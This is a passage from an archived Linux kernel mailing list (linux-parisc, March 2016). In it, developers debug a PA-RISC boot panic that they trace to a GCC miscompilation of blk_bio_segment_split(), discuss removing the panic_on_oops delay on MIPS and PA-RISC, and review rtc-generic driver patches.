 <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
 <1457528111.2693.4.camel@HansenPartnership.com>
 <CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
 <56E03E2A.5020208@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1457558478 23906 80.91.229.3 (9 Mar 2016 21:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 21:21:18 +0000 (UTC)
Cc: linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: John David Anglin <dave.anglin@bell.net>,
	Ming Lei <tom.leiming@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 09 22:21:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adlXa-0000uY-1L
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Mar 2016 22:21:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932748AbcCIVVJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 16:21:09 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:55203 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932504AbcCIVVI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 16:21:08 -0500
Original-Received: from [192.168.20.60] ([92.203.10.96]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MMCSP-1aljcK3u1N-007zFn; Wed, 09 Mar 2016 22:20:58
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <56E03E2A.5020208@bell.net>
X-Provags-ID: V03:K0:fA9DHJp58DSH1L0a/EjJ4YqRBnLgkqxErBWilJLC0OQYbxStN2u
 0mDnthSTaqpieAL67BkX710igDkQbKMNusZSsvt8MC71Cl8boyRA7Zlp5LJEF8KeAQwu3LL
 xdJRTHvaj4mX/kdldDIZKTkFdV19zJAWyXjK9Ba5pIjTQDuNNtyH9EB8deXFONNjG6zwAMQ
 7WfGHT1QIfaY1tq1gtPUg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:50jbW7FVEEs=:k8lXzrYDT7DYQUcmY9ljnr
 2J4hxcpCCltBlwV71Ov06eYVTJ2UeYbYQCW65giO65Hj8XbC3C6KvK11BKaL1Ee1Ok5aBZWVe
 XeNzSx0hrMt9+YECwGOoe7VyNqTPpaIF7mgARLHNOL99JRGVaYKPZ9Rpi4vBhyEkYZ9E0DeyC
 kgFPiI+IU22T8Zv00wWezmURR4d2Fi7x8hjcA0NxfHwK7BxEnFnmHzksQIC2/MxmSyoRYX1RE
 6jnKDcePVnAcAulyqnclF6wAwh8EVSwZsIcevLsmQPcjoRhVzeYRCwdQu7njXa6KtLVriIYWA
 KfeH/Y5LhOUUMQqgWDa73sUWEvCn3tQIYdICFErJ5g//LSI5izEtqHuBG5pvLWpFKphe1wBMm
 O8cF/aa0BmSZ/d2OTsod/53cPy1tvXY28jYlpUr0CZrLbT2A8Ov/TBJRud1pWhKyQSoJJCFq3
 Jo13mHzt/5HMmrSNUzHuaATVF5fXJw1fyonQa2va2fJKdQCmTZP9bqKtnVAqddzbB3EYYMztI
 OlzEJyEKjFJagmnOlUt0NcRwt4UCrkvmJPABMdSzKw9ozcJXlPOOQ8JtznAdhYxD3Mt58+Yp8
 3wlQZIfBq6+Po2u/vsg/s18hSVwNYUiWWFdTh1fcVl/gLueuE61RdAsFrMytRPtLfRGUlGFyc
 uOCKaLHZdDy5YklyLkNadqTv9BjPJSnFqkBiKlLWjrE5gaacsBuJ58PvVO8bL9FGhXHj0GGLE
 2FT3YgnN2fXJ3+FMnFfQDWwfoC/rylFrMersQe+mo+T+X/ZNuC9gK5avL9si9OY6RbLBZIn6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26524 gmane.linux.scsi:111690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26524>

On 09.03.2016 16:15, John David Anglin wrote:
> On 2016-03-09 9:43 AM, Ming Lei wrote:
>>> We've provided all the information you asked for, what's the next step
>>> >on this, or do we have to unwind the bio splitting code with reverts
>>> >until it starts working?
>> John, Helge, and I did discuss the problem for a while privately, and looks
>> it is related with compiler.  Last time, I sent one patch which can make the
>> issue disappear, but the main change is just invovled with the below:
>>
>>   struct bio_vec {
>>       struct page    *bv_page;
>> -    unsigned int    bv_len;
>> +    unsigned int    bv_seg:8;
>> +    unsigned int    bv_len:24;
>>       unsigned int    bv_offset;
>>   };
>>
>> Maybe John and Helge have some update recently?
>>
>> The logic in blk_bio_segment_split() is correct, and it does respect the max
>> segment size limit.
> Helge has found that tagging blk_bio_segment_split() with "__attribute__ ((optimize("O0")))"
> makes the issue disappear.  The bug remains if one just adds bv_len to the struct without the
> bit fields.  Maybe problem is evident from following output which I sent to Ming and Helge
> last weekend?
> 
> blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0
> check_bvec: dump bvec for 000000007e4efdc0(f:24490000, t:1)
>             0: 0 4096 246503 000000007e4a4f00(0, 94208, 1)
>             1: 0 4096 246504 000000007e4a4f00(0, 94208, 1)
>             2: 0 4096 246505 000000007e4a4f00(0, 94208, 1)
>             3: 0 4096 246506 000000007e4a4f00(0, 94208, 1)
>             4: 0 4096 246538 000000007e4a4f00(0, 94208, 2)
>             5: 0 4096 246539 000000007e4a4f00(0, 94208, 2)
>             6: 0 4096 246540 000000007e4a4f00(0, 94208, 2)
>             7: 0 4096 246541 000000007e4a4f00(0, 94208, 2)
>             8: 0 4096 246542 000000007e4a4f00(0, 94208, 2)
>             9: 0 4096 246543 000000007e4a4f00(0, 94208, 2)
>            10: 0 4096 246544 000000007e4a4f00(0, 94208, 2)
>            11: 0 4096 246545 000000007e4a4f00(0, 94208, 2)
>            12: 0 4096 246546 000000007e4a4f00(0, 94208, 2)
>            13: 0 4096 246547 000000007e4a4f00(0, 94208, 2)
>            14: 0 4096 246548 000000007e4a4f00(0, 94208, 2)
>            15: 0 4096 246549 000000007e4a4f00(0, 94208, 2)
>            16: 0 4096 246550 000000007e4a4f00(0, 94208, 2)
>            17: 0 4096 246551 000000007e4a4f00(0, 94208, 2)
>            18: 0 4096 246552 000000007e4a4f00(0, 94208, 2)
>            19: 0 4096 246553 000000007e4a4f00(0, 94208, 2)
>            20: 0 4096 246554 000000007e4a4f00(0, 94208, 2)
>            21: 0 4096 246555 000000007e4a4f00(0, 94208, 2)
>            22: 0 4096 246556 000000007e4a4f00(0, 94208, 2)
> Kernel panic - not syncing: bad block merge
> 
> It seems segment 1 is too small and segment 2 too big?
> 
> The general plan is to disable inlining (maybe move blk_bio_segment_split() to a separate
> function) to try to figure out what is miscompiled.

Right.
I just succeeded in reproducing the bug with moving blk_bio_segment_split() into an own file
(and with "extern" instead of "static" in blk-merge.c). When compiled with -O2 it still crashes.
So, next step is to analyze what gcc does wrong when compiling this function.
It should get easier now to find the reason, since we have a smaller reproducer now.

Helge
 
> As you say, this is probably a GCC bug.  However, it's likely a middle-end or optimization
> bug in the common GCC code.
> 
> Dave
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: [PATCH 0/2] MIPS/PA-RISC: panic immediately when panic_on_oops
Date: Thu, 10 Mar 2016 01:09:07 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20160310000907.GD15652@linux-mips.org>
References: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1457568570 16975 80.91.229.3 (10 Mar 2016 00:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Mar 2016 00:09:30 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 10 01:09:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adoAQ-0007ZH-7a
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Mar 2016 01:09:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934327AbcCJAJZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 19:09:25 -0500
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:36632 "EHLO
	cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934123AbcCJAJY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 19:09:24 -0500
Original-Received: from localhost.localdomain ([127.0.0.1]:58820 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S27013544AbcCJAJWFvCRK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org> + 1 other);
        Thu, 10 Mar 2016 01:09:22 +0100
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.15.2/8.14.8) with ESMTP id u2A09B9n024509;
        Thu, 10 Mar 2016 01:09:11 +0100
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.15.2/8.15.2/Submit) id u2A098Pv024499;
        Thu, 10 Mar 2016 01:09:08 +0100
Content-Disposition: inline
In-Reply-To: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26525 gmane.linux.ports.mips.general:53727 gmane.linux.kernel:2173662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26525>

On Wed, Mar 09, 2016 at 10:08:41PM +0200, Aaro Koskinen wrote:

> MIPS and PA-RISC want to sleep 5 seconds before panicking when
> panic_on_oops is set, with no apparent reason. We should remove
> this feature, since some users may want their systems to fail as
> quickly as possible.
> 
> Users who want to delay reboot after panic can use PANIC_TIMEOUT.
> 
> Also, this change will unify the behaviour with other architectures.

I did a bit of dumpster diving, commit cea6a4ba8acfba6f59cc9ed71e0d05cb770b9d9c
("[PATCH] panic_on_oops: remove ssleep()") removed the 5 second delay
from ARM, i386, ia64, powerpc, x86_64 and xtensa on 2006-03-07.

The idea once upon a time probably was to keep the panic message on the
console long enough so somebody has _maybe_ a chance to read it.  Which
is a pretty weak solution.

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily
 sized bios" breaks boot on parisc-linux
Date: Wed, 09 Mar 2016 19:16:57 -0500
Lines: 90
Approved: news@gmane.org
Message-ID: <1457569017.20526.2.camel@HansenPartnership.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
	 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
	 <56CE2266.6010909@gmx.de> <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
	 <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
	 <1457528111.2693.4.camel@HansenPartnership.com>
	 <CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
	 <56E03E2A.5020208@bell.net> <56E093B6.4040206@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1457569039 23993 80.91.229.3 (10 Mar 2016 00:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Mar 2016 00:17:19 +0000 (UTC)
Cc: linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Ming Lei <tom.leiming@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 10 01:17:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adoHt-0005GX-W4
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Mar 2016 01:17:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934571AbcCJARJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 19:17:09 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36710 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934574AbcCJARG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 19:17:06 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 50F338EE2C6;
	Wed,  9 Mar 2016 16:17:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1457569025;
	bh=F1c0vIsig6NR+g9cRsAebu6eQU3Z+AJ6fdblZYp/Xi0=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=ON3pBVFmjTRvqi60TiDKlE/2B8a34Z5mhnULyjkARjPvwauCTfUYunNLFGLWpSUSk
	 uGmG18cVYDEPUK9S+rrSkxd0+cMj4J53D3fOOCiopoNZeE3MEwC+u4hZJWhudjnSHq
	 2a4BOoF+1CcaBpp8tKZJWJ6P3WXTFqKM7t5CcE6k=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ciYFI2kXGpAi; Wed,  9 Mar 2016 16:17:05 -0800 (PST)
Original-Received: from [192.168.100.206] (unknown [24.246.103.29])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7602A8EE0CD;
	Wed,  9 Mar 2016 16:17:04 -0800 (PST)
In-Reply-To: <56E093B6.4040206@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26526 gmane.linux.scsi:111692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26526>

On Wed, 2016-03-09 at 22:20 +0100, Helge Deller wrote:
> On 09.03.2016 16:15, John David Anglin wrote:
> > On 2016-03-09 9:43 AM, Ming Lei wrote:
> > > > We've provided all the information you asked for, what's the
> > > > next step
> > > > > on this, or do we have to unwind the bio splitting code with
> > > > > reverts
> > > > > until it starts working?
> > > John, Helge, and I did discuss the problem for a while privately,
> > > and looks
> > > it is related with compiler.  Last time, I sent one patch which
> > > can make the
> > > issue disappear, but the main change is just invovled with the
> > > below:
> > > 
> > >   struct bio_vec {
> > >       struct page    *bv_page;
> > > -    unsigned int    bv_len;
> > > +    unsigned int    bv_seg:8;
> > > +    unsigned int    bv_len:24;
> > >       unsigned int    bv_offset;
> > >   };
> > > 
> > > Maybe John and Helge have some update recently?
> > > 
> > > The logic in blk_bio_segment_split() is correct, and it does
> > > respect the max
> > > segment size limit.
> > Helge has found that tagging blk_bio_segment_split() with
> > "__attribute__ ((optimize("O0")))"
> > makes the issue disappear.  The bug remains if one just adds bv_len
> > to the struct without the
> > bit fields.  Maybe problem is evident from following output which I
> > sent to Ming and Helge
> > last weekend?
> > 
> > blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0
> > check_bvec: dump bvec for 000000007e4efdc0(f:24490000, t:1)
> >             0: 0 4096 246503 000000007e4a4f00(0, 94208, 1)
> >             1: 0 4096 246504 000000007e4a4f00(0, 94208, 1)
> >             2: 0 4096 246505 000000007e4a4f00(0, 94208, 1)
> >             3: 0 4096 246506 000000007e4a4f00(0, 94208, 1)
> >             4: 0 4096 246538 000000007e4a4f00(0, 94208, 2)
> >             5: 0 4096 246539 000000007e4a4f00(0, 94208, 2)
> >             6: 0 4096 246540 000000007e4a4f00(0, 94208, 2)
> >             7: 0 4096 246541 000000007e4a4f00(0, 94208, 2)
> >             8: 0 4096 246542 000000007e4a4f00(0, 94208, 2)
> >             9: 0 4096 246543 000000007e4a4f00(0, 94208, 2)
> >            10: 0 4096 246544 000000007e4a4f00(0, 94208, 2)
> >            11: 0 4096 246545 000000007e4a4f00(0, 94208, 2)
> >            12: 0 4096 246546 000000007e4a4f00(0, 94208, 2)
> >            13: 0 4096 246547 000000007e4a4f00(0, 94208, 2)
> >            14: 0 4096 246548 000000007e4a4f00(0, 94208, 2)
> >            15: 0 4096 246549 000000007e4a4f00(0, 94208, 2)
> >            16: 0 4096 246550 000000007e4a4f00(0, 94208, 2)
> >            17: 0 4096 246551 000000007e4a4f00(0, 94208, 2)
> >            18: 0 4096 246552 000000007e4a4f00(0, 94208, 2)
> >            19: 0 4096 246553 000000007e4a4f00(0, 94208, 2)
> >            20: 0 4096 246554 000000007e4a4f00(0, 94208, 2)
> >            21: 0 4096 246555 000000007e4a4f00(0, 94208, 2)
> >            22: 0 4096 246556 000000007e4a4f00(0, 94208, 2)
> > Kernel panic - not syncing: bad block merge
> > 
> > It seems segment 1 is too small and segment 2 too big?
> > 
> > The general plan is to disable inlining (maybe move
> > blk_bio_segment_split() to a separate
> > function) to try to figure out what is miscompiled.
> 
> Right.
> I just succeeded in reproducing the bug with moving
> blk_bio_segment_split() into an own file
> (and with "extern" instead of "static" in blk-merge.c). When compiled
> with -O2 it still crashes.
> So, next step is to analyze what gcc does wrong when compiling this
> function.
> It should get easier now to find the reason, since we have a smaller 
> reproducer now.

OK, that would explain why I don't see the problem, since I'm using an
older compiler.  So it's our issue and basically no action for block.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 4/6] parisc: rtc: provide rtc_class_ops directly
Date: Thu, 10 Mar 2016 05:34:12 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20160310043412.GC9868@piout.net>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
 <1456851608-3374907-5-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1457584485 21518 80.91.229.3 (10 Mar 2016 04:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Mar 2016 04:34:45 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Mar 10 05:34:31 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1adsIw-0000rb-GR
	for glpm-linux-m68k@plane.gmane.org; Thu, 10 Mar 2016 05:34:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932906AbcCJEe2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 9 Mar 2016 23:34:28 -0500
Original-Received: from down.free-electrons.com ([37.187.137.238]:60352 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752108AbcCJEe1 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 9 Mar 2016 23:34:27 -0500
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 48BF73EE; Thu, 10 Mar 2016 05:34:25 +0100 (CET)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT
	shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (173-160-43-102-colorado.hfc.comcastbusiness.net [173.160.43.102])
	by mail.free-electrons.com (Postfix) with ESMTPSA id BE103263;
	Thu, 10 Mar 2016 05:34:24 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1456851608-3374907-5-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8336 gmane.linux.ports.arm.kernel:485231 gmane.linux.ports.ppc64.devel:124822 gmane.linux.ports.sh.devel:53522 gmane.linux.ports.parisc:26527 gmane.linux.kernel:2173815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8336>

On 01/03/2016 at 18:00:00 +0100, Arnd Bergmann wrote :
> -	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> +	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
> +					     &rtc_generic_ops,
> +					     sizeof(rtc_generic_ops));
> +
> +

spurious blank line

>  	return PTR_ERR_OR_ZERO(pdev);
>  }
>  device_initcall(rtc_init);
> -- 
> 2.7.0
> 

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com

From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 0/6] rtc: generic: follow up for COMPILE_TEST
Date: Thu, 10 Mar 2016 05:41:07 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20160310044107.GD9868@piout.net>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1457584887 26624 80.91.229.3 (10 Mar 2016 04:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Mar 2016 04:41:27 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 10 05:41:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adsPT-0006Fw-J1
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Mar 2016 05:41:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932906AbcCJElM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 23:41:12 -0500
Original-Received: from down.free-electrons.com ([37.187.137.238]:60425 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751271AbcCJElL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 23:41:11 -0500
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 2C5F63F2; Thu, 10 Mar 2016 05:41:10 +0100 (CET)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (173-160-43-102-colorado.hfc.comcastbusiness.net [173.160.43.102])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 5D8CB263;
	Thu, 10 Mar 2016 05:41:09 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26528 gmane.linux.ports.arm.kernel:485232 gmane.linux.ports.ppc64.devel:124823 gmane.linux.ports.sh.devel:53523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26528>

Hi,

On 01/03/2016 at 17:59:56 +0100, Arnd Bergmann wrote :
> Today's linux-next kernel allowed building the rtc-generic
> driver (and most other rtc drivers) on all architectures,
> but this caused some errors on architectures without asm/rtc.h.
> 
> This series reworks that driver to avoid the dependency,
> and simplifies all four implementations. My first approach
> was to split the driver into four separate drivers, but
> that didn't feel right when three of them have their own
> multiplexors.
> 
> The first five patches can be applied independent of one other,
> while patch 6 is optional and can be applied when all others
> are merged. Alternatively, they can all go in through the
> rtc tree. I compile-tested only the powerpc and sh targets for
> which I happened to have cross-compilers installed.
> 

I like this approach. Maybe you can also remove the now unnecessary
definitions from the various asm/rtc.h.

I have a small nitpick on the parisc patch.

I'll take the first patch, no need to resend that one.

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
